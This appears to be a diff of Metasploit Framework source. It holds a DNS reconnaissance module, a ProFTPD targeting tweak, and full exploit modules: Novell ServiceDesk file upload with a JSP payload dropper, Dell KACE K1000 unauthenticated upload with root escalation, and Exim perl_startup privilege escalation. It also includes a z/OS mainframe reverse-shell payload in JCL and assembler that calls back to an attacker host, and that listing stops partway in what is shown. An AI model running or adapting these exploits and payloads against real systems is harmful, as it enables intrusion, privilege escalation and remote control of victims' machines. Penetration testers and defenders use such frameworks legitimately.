'pa', 'pg', 'py', 'pe', 'ph', 'pn', 'pl', 'pt', 'pr', 'qa', 're',
'ro', 'ru', 'rw', 'kn', 'lc', 'vc', 'ws', 'sm', 'st', 'sa', 'sn',
'sc', 'sl', 'sg', 'sk', 'si', 'sb', 'so', 'za', 'gz', 'es', 'lk',
'sh', 'pm', 'sd', 'sr', 'sj', 'sz', 'se', 'ch', 'sy', 'tw', 'tj',
'tz', 'th', 'tg', 'tk', 'to', 'tt', 'tn', 'tr', 'tm', 'tc', 'tv',
'ug', 'ua', 'ae', 'gb', 'us', 'um', 'uy', 'uz', 'vu', 've', 'vn',
'vg', 'vi', 'wf', 'eh', 'ye', 'yu', 'za', 'zr', 'zm', 'zw', 'int',
'gs', 'info', 'biz', 'su', 'name', 'coop', 'aero']
records = []
tlds.each do |tld|
tldr = get_a("#{domain_}.#{tld}", 'DNS TLD records')
next if tldr.blank?
records |= tldr
print_good("#{domain_}.#{tld}: TLD: #{tldr.join(',')}")
end
rescue ArgumentError => e
print_error("Query #{domain} DNS TLD - exception: #{e}")
ensure
return if records.blank?
records
end
end
def get_srv(domain)
print_status("querying DNS SRV records for #{domain}")
srv_protos = %w(tcp udp tls)
srv_record_types = %w(
gc kerberos ldap test sips sip aix finger ftp http
nntp telnet whois h323cs h323be h323ls sipinternal sipinternaltls
sipfederationtls jabber jabber-client jabber-server xmpp-server xmpp-client
imap certificates crls pgpkeys pgprevokations cmp svcp crl oscp pkixrep
smtp hkp hkps)
srv_records_data = []
srv_record_types.each do |srv_record_type|
srv_protos.each do |srv_proto|
srv_record = "_#{srv_record_type}._#{srv_proto}.#{domain}"
resp = dns_query(srv_record, Net::DNS::SRV)
next if resp.blank? || resp.answer.blank?
srv_record_data = []
resp.answer.each do |r|
next if r.type == Net::DNS::RR::CNAME
host = r.host.gsub(/\.$/, '')
data = {
host: host,
port: r.port,
priority: r.priority
}
print_good("#{srv_record} SRV: #{data}")
srv_record_data << data
end
srv_records_data << {
srv_record => srv_record_data
}
report_note(
type: srv_record,
data: srv_record_data
)
end
end
return if srv_records_data.empty?
end
def axfr(domain)
nameservers = get_ns(domain)
return if nameservers.blank?
records = []
nameservers.each do |nameserver|
next if nameserver.blank?
print_status("Attempting DNS AXFR for #{domain} from #{nameserver}")
dns = Net::DNS::Resolver.new
dns.use_tcp = datastore['TCP_DNS']
dns.udp_timeout = datastore['TIMEOUT']
dns.retry_number = datastore['RETRY']
dns.retry_interval = datastore['RETRY_INTERVAL']
ns_a_records = []
# try to get A record for nameserver from target NS, which may fail
target_ns_a = get_a(nameserver, 'DNS AXFR records')
ns_a_records |= target_ns_a if target_ns_a
ns_a_records << ::Rex::Socket.resolv_to_dotted(nameserver)
begin
dns.nameservers -= dns.nameservers
dns.nameservers = ns_a_records
zone = dns.axfr(domain)
rescue ResolverArgumentError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e
print_error("Query #{domain} DNS AXFR - exception: #{e}")
end
next if zone.blank?
records << zone
print_good("#{domain} Zone Transfer: #{zone}")
end
return if records.blank?
save_note(domain, 'DNS AXFR recods', records)
records
end
def save_note(target, type, records)
data = { 'target' => target, 'records' => records }
report_note(host: target, sname: 'dns', type: type, data: data, update: :unique_data)
end
end end

View File

@ -159,7 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote
mytarget = nil mytarget = nil
print_status("Automatically detecting the target...") print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then
print_status("FTP Banner: #{banner.strip}") print_status("FTP Banner: #{banner.strip}")
version = m[1] version = m[1]
else else

View File

@ -0,0 +1,384 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ServiceDesk Authenticated File Upload',
'Description' => %q{
This module exploits an authenticated arbitrary file upload via directory traversal
to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
Appliance provided by Novell.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-1593' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
[ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'DefaultOptions' => { 'WfsDelay' => 15 },
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Novell ServiceDesk / Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Novell ServiceDesk / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'Privileged' => false, # Privileged on Windows but not on (most) Linux targets
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 30 2016'
))
register_options(
[
OptPort.new('RPORT',
[true, 'The target port', 80]),
OptString.new('USERNAME',
[true, 'The username to login as', 'admin']),
OptString.new('PASSWORD',
[true, 'Password for the specified username', 'admin']),
OptString.new('TRAVERSAL_PATH',
[false, 'Traversal path to tomcat/webapps/LiveTime/'])
], self.class)
end
def get_version
res = send_request_cgi({
'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})
if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
return $1.to_f
else
return 999
end
end
def check
version = get_version
if version <= 7.1 && version >= 6.5
return Exploit::CheckCode::Appears
elsif version > 7.1
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def pick_target
return target if target.name != 'Automatic'
print_status("#{peer} - Determining target")
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
traversal_paths = []
if datastore['TRAVERSAL_PATH']
traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path
end
# add Virtual Appliance path plus the traversal in a Windows or Linux self install
traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])
# test each path to determine OS (and correct path)
traversal_paths.each do |traversal_path|
jsp_name = upload_jsp(traversal_path, os_finder_payload)
res = send_request_cgi({
'uri' => normalize_uri('LiveTime', jsp_name),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies
})
if res && res.code == 200
if res.body.to_s =~ /Windows/
@my_target = targets[2]
else
# Linux here
@my_target = targets[1]
end
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
return traversal_path
end
end
return nil
end
def upload_jsp(traversal_path, jsp)
jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"
post_data = Rex::MIME::Message.new
post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@upload_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if not res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
else
return jsp_name
end
end
def create_jsp
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
exe = generate_payload_exe(opts)
base64_exe = Rex::Text.encode_base64(exe)
native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp = jsp.gsub(/\x0d\x0a/, "")
jsp = jsp.gsub(/\x0a/, "")
return jsp
end
def exploit
version = get_version
# 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
login_url = $2
@cookies = res.get_cookies
if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
password_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
password_form = 'password'
end
if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
username_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
username_form = 'username'
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
end
# 2: authenticate and get the import_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLogin' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
# hmm either the password is wrong or someone else is using "our" account.. .
# let's try to boot him out
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
res.body.to_s =~ /This account is in use on another system/
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLoginOverride' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
end
# 3: get the upload_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(import_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
'ButtonImport' => 'Import'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
@upload_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
end
if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
@upload_form = $1
else
# go with the default for 7.1.0, might not work with other versions...
@upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
end
# 4: target selection
@my_target = nil
# pick_target returns the traversal_path and sets @my_target
traversal_path = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
else
print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
end
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
# 5: generate the JSP with the payload
jsp = create_jsp
print_status("#{peer} - Uploading payload...")
jsp_name = upload_jsp(traversal_path, jsp)
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
# 6: pwn it!
print_status("#{peer} - Requesting #{jsp_name}")
send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})
handler
end
end

View File

@ -0,0 +1,127 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Dell KACE K1000 File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in Kace K1000
versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547
which allows unauthenticated users to execute arbitrary commands
under the context of the 'www' user.
This module also abuses the 'KSudoClient::RunCommandWait' function
to gain root privileges.
This module has been tested successfully with Dell KACE K1000
version 5.3.
},
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'unix', # FreeBSD
'Arch' => ARCH_CMD,
'Author' =>
[
'Bradley Austin (steponequit)', # Initial discovery and exploit
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html']
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x27",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl'
}
},
'DefaultTarget' => 0,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DisclosureDate' => 'Mar 7 2014'))
end
def check
res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php'))
unless res
vprint_error('Connection failed')
return Exploit::CheckCode::Unknown
end
if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000'
if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/
vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}")
if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.3
return Exploit::CheckCode::Vulnerable
elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.76849
return Exploit::CheckCode::Vulnerable
elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.90547
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
# upload payload
fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php"
payload_path = "/kbox/kboxwww/tmp/"
post_data = "<?php require_once 'KSudoClient.class.php';KSudoClient::RunCommandWait('rm #{payload_path}#{fname};#{payload.encoded}');?>"
print_status("Uploading #{fname} (#{post_data.length} bytes)")
res = send_request_cgi(
'uri' => normalize_uri('service', 'kbot_upload.php'),
'method' => 'POST',
'vars_get' => Hash[{
'filename' => fname,
'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}",
'checksum' => 'SCRAMBLE',
'mac' => rand_text_alphanumeric(rand(8) + 5),
'kbotId' => rand_text_alphanumeric(rand(8) + 5),
'version' => rand_text_alphanumeric(rand(8) + 5),
'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5) }.to_a.shuffle],
'data' => post_data)
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
if res.code && res.code == 200
print_good('Payload uploaded successfully')
else
fail_with(Failure::UnexpectedReply, 'Unable to upload payload')
end
# execute payload
res = send_request_cgi('uri' => normalize_uri('tmp', fname))
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
if res.code && res.code == 200
print_good('Payload executed successfully')
elsif res.code && res.code == 404
fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'")
else
fail_with(Failure::UnexpectedReply, 'Unable to execute payload')
end
end
end

View File

@ -0,0 +1,59 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim "perl_startup" Privilege Escalation',
'Description' => %q{
This module exploits a Perl injection vulnerability in Exim < 4.86.2
given the presence of the "perl_startup" configuration parameter.
},
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
%w{CVE 2016-1531},
%w{EDB 39549},
%w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
],
'DisclosureDate' => 'Mar 10 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'BadChars' => "\x22\x27", # " and '
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
}
},
'Targets' => [
['Exim < 4.86.2', {}]
],
'DefaultTarget' => 0
))
end
def check
if exploit('whoami') == 'root'
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
def exploit(c = payload.encoded)
# PERL5DB technique from http://perldoc.perl.org/perlrun.html
cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
end
end

View File

@ -53,7 +53,7 @@ class MetasploitModule < Msf::Nop
0xe1a0b00b 0xe1a0b00b
] ]
if( random and random.match(/^(t|y|1)/i) ) if random
return ([nops[rand(nops.length)]].pack("V*") * (length/4)) return ([nops[rand(nops.length)]].pack("V*") * (length/4))
end end

View File

@ -0,0 +1,64 @@
##
# This is a prototype JCL command payload for z/OS - mainframe.
# It submits the IEFBR14 standard z/OS program, which does nothing
# but complete successfully and return code 0.
#
# See http://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.ieab500/hpropr.htm?lang=en
# for more information on IEFBR14
##
require 'msf/core'
require 'msf/core/handler/find_shell'
require 'msf/base/sessions/mainframe_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
include Msf::Payload::Mainframe
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Generic JCL Test for Mainframe Exploits',
'Description' => 'Provide JCL which can be used to submit
a job to JES2 on z/OS which will exit and return 0. This
can be used as a template for other JCL based payloads',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
##
# Construct the paload
##
def generate
return super + command_string
end
##
# Build the command string for JCL submission
##
def command_string
return "//DUMMY JOB (MFUSER),'dummy job',\n" +
"// NOTIFY=&SYSUID,\n" +
"// MSGCLASS=H,\n" +
"// MSGLEVEL=(1,1),\n" +
"// REGION=0M\n" +
"// EXEC PGM=IEFBR14\n"
end
end

View File

@ -0,0 +1,254 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# This payload has no ebcdic<->ascii translator built in.
# Therefore it must use a shell which does, like mainframe_shell
#
# this payload will spawn a reverse shell from z/os, when submitted
# on the system as JCL to JES2
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/mainframe_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
include Msf::Payload::Mainframe
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
'Description' => 'Provide JCL which creates a reverse shell
This implmentation does not include ebcdic character translation,
so a client with translation capabilities is required. MSF handles
this automatically.',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 0x1b29, 'custom' ],
'LPORT' => [ 0x1b25, 'custom' ],
},
'Payload' =>
"//REVSHL JOB (USER),'Reverse shell jcl',\n" +
"// NOTIFY=&SYSUID,\n" +
"// MSGCLASS=H,\n" +
"// MSGLEVEL=(1,1),\n" +
"// REGION=0M\n" +
"//**************************************/\n" +
"//* Generates reverse shell */\n" +
"//**************************************/\n" +
"//*\n" +
"//STEP1 EXEC PROC=ASMACLG\n" +
"//SYSIN DD *,DLM=ZZ\n" +
" TITLE 'z/os Reverse Shell'\n" +
"NEWREV CSECT\n" +
"NEWREV AMODE 31\n" +
"NEWREV RMODE 31\n" +
"***********************************************************************\n" +
"* SETUP registers and save areas *\n" +
"***********************************************************************\n" +
"MAIN LR 7,15 # R7 is base register\n" +
" NILH 7,X'1FFF' # ensure local address\n" +
" USING MAIN,0 # R8 for addressability\n" +
" DS 0H # halfword boundaries\n" +
" LA 1,ZEROES(7) # address byond which should be all 0s\n" +
" XC 0(204,1),0(1) # clear zero area\n" +
" LA 13,SAVEAREA(7) # address of save area\n" +
" LHI 8,8 # R8 has static 8\n" +
" LHI 9,1 # R9 has static 1\n" +
" LHI 10,2 # R10 has static 2\n" +
"\n" +
"***********************************************************************\n" +
"* BPX1SOC set up socket *\n" +
"***********************************************************************\n" +
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" +
" LA 3,8 # n parms\n" +
" LA 5,DOM(7) # Relative addr of First parm\n" +
" ST 10,DOM(7) # store a 2 for AF_INET\n" +
" ST 9,TYPE(7) # store a 1 for sock_stream\n" +
" ST 9,DIM(7) # store a 1 for dim_sock\n" +
" LA 15,CLORUN(7) # address of generic load & run\n" +
" BASR 14,15 # Branch to load & run\n" +
"\n" +
"***********************************************************************\n" +
"* BPX1CON (connect) connect to rmt host *\n" +
"***********************************************************************\n" +
"BCON L 5,CLIFD(7) # address of client file descriptor\n" +
" ST 5,CLIFD2(7) # store for connection call\n" +
"*** main processing **\n" +
" LA 1,SSTR(7) # packed socket string\n" +
" LA 5,CLIFD2(7) # dest for our sock str\n" +
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" +
" LA 0,@@F2(7) # USS callable svcs connect\n" +
" LA 3,6 # n parms for func call\n" +
" LA 5,CLIFD2(7) # src parm list addr\n" +
" LA 15,CLORUN(7) # address of generic load & run\n" +
" BASR 14,15 # Branch to load & run\n" +
"\n" +
"*************************************************\n" +
"* Preparte the child pid we'll spawn *\n" +
"* 0) Dupe all 3 file desc of CLIFD *\n" +
"* 1) dupe parent read fd to std input *\n" +
"*************************************************\n" +
" LHI 11,2 # Loop Counter R11=2\n" +
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" +
"@RET1 AHI 11,-1 # Decrement R11\n" +
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" +
"\n" +
"***********************************************************************\n" +
"* BPX1EXC (exec) execute /bin/sh *\n" +
"***********************************************************************\n" +
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" +
"******************************************\n" +
"**** load array of addr and constants ***\n" +
"******************************************\n" +
" ST 10,EXARG1L(7) # arg 1 len is 2\n" +
" LA 2,EXARG1L(7) # addr of len of arg1\n" +
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" +
" LA 2,EXARG1(7) # addr of arg1\n" +
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" +
" ST 9,EXARGC(7) # store 1 in ARG Count\n" +
"**************************************************************\n" +
"*** call the exec function the normal way ********************\n" +
"**************************************************************\n" +
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" +
" LA 3,13 # n parms\n" +
" LA 5,EXCPRM1(7) # src parm list addr\n" +
" LA 15,CLORUN(7) # address of generic load & run\n" +
" BASR 14,15 # Branch to load & run\n" +
"\n" +
"***********************************************************************\n" +
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" +
"***********************************************************************\n" +
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" +
" ST 8,@ACT(7) # 8 is our dupe2 action\n" +
" L 5,CLIFD(7) # client file descriptor\n" +
" ST 5,@FFD(7) # store as fnctl argument\n" +
" ST 11,@ARG(7) # fd to clone\n" +
" LA 3,6 # n parms\n" +
" LA 5,@FFD(7) # src parm list addr\n" +
" LA 15,CLORUN(7) # address of generic load & run\n" +
" BASR 14,15 # Branch to load & run\n" +
" BRC 15,@RET1 # Return to caller\n" +
"\n" +
"***********************************************************************\n" +
"* LOAD and run R0=func name, R3=n parms *\n" +
"* R5 = src parm list *\n" +
"***********************************************************************\n" +
"CLORUN ST 14,8(,13) # store ret address\n" +
" XR 1,1 # zero R1\n" +
" SVC 8 # get func call addr for R0\n" +
" ST 0,12(13) # Store returned addr in our SA\n" +
" L 15,12(13) # Load func addr into R15\n" +
" LHI 6,20 # offset from SA of first parm\n" +
" LA 1,0(6,13) # start of dest parm list\n" +
"@LOOP2 ST 5,0(6,13) # store parms address in parm\n" +
" AHI 3,-1 # decrement # parm\n" +
" CIJ 3,11,8,@FIX # haky fix for EXEC func\n" +
"@RETX AHI 6,4 # increment dest parm addr\n" +
" AHI 5,4 # increment src parm addr\n" +
" CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" +
" LA 5,0(6,13)\n" +
" AHI 5,-4\n" +
" OI 0(5),X'80' # last parm first bit high\n" +
"@FIN1 BALR 14,15 # call function\n" +
" L 14,8(,13) # set up return address\n" +
" BCR 15,14 # return to caller\n" +
"@FIX AHI 5,4 # need extra byte skipped for exec\n" +
" BRC 15,@RETX\n" +
"\n" +
"***********************************************************************\n" +
"* Arg Arrays, Constants and Save Area *\n" +
"***********************************************************************\n" +
" DS 0F\n" +
"*************************\n" +
"**** Func Names ****\n" +
"*************************\n" +
"@@F1 DC CL8'BPX1SOC '\n" +
"@@F2 DC CL8'BPX1CON '\n" +
"@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" +
"@@FC1 DC CL8'BPX1FCT '\n" +
"* # BPX1EXC Constants\n" +
"EXARG1 DC CL2'sh' # arg 1 to exec\n" +
"* # BPX1CON Constants\n" +
"SSTR DC X'100202PPPPaaaaaaaa'\n" +
"* # BPX1EXC Arguments\n" +
"EXCPRM1 DS 0F # actual parm list of exec call\n" +
"EXCMDL DC F'7' # len of cmd to exec\n" +
"EXCMD DC CL7'/bin/sh' # command to exec\n" +
"*********************************************************************\n" +
"******* Below this line is filled in runtime, but at compile ********\n" +
"******* is all zeroes, so it can be dropped from the shell- *********\n" +
"******* code as it will be dynamically added back and the ***********\n" +
"******* offsets are already calulated in the code *******************\n" +
"*********************************************************************\n" +
"ZEROES DS 0F # 51 4 byte slots\n" +
"EXARGC DC F'0' # num of arguments\n" +
"EXARGS DC 10XL4'00000000' # reminaing exec args\n" +
"EXARG1L DC F'0' # arg1 length\n" +
"* # BPX1FCT Arguments\n" +
"@FFD DC F'0' # file descriptor\n" +
"@ACT DC F'0' # fnctl action\n" +
"@ARG DC F'0' # argument to fnctl\n" +
"@RETFD DC F'0' # fd return\n" +
"FR1 DC F'0' # rtn code\n" +
"FR2 DC F'0' # rsn code\n" +
"* # BPX1SOC Arguments\n" +
"DOM DC F'0' # AF_INET = 2\n" +
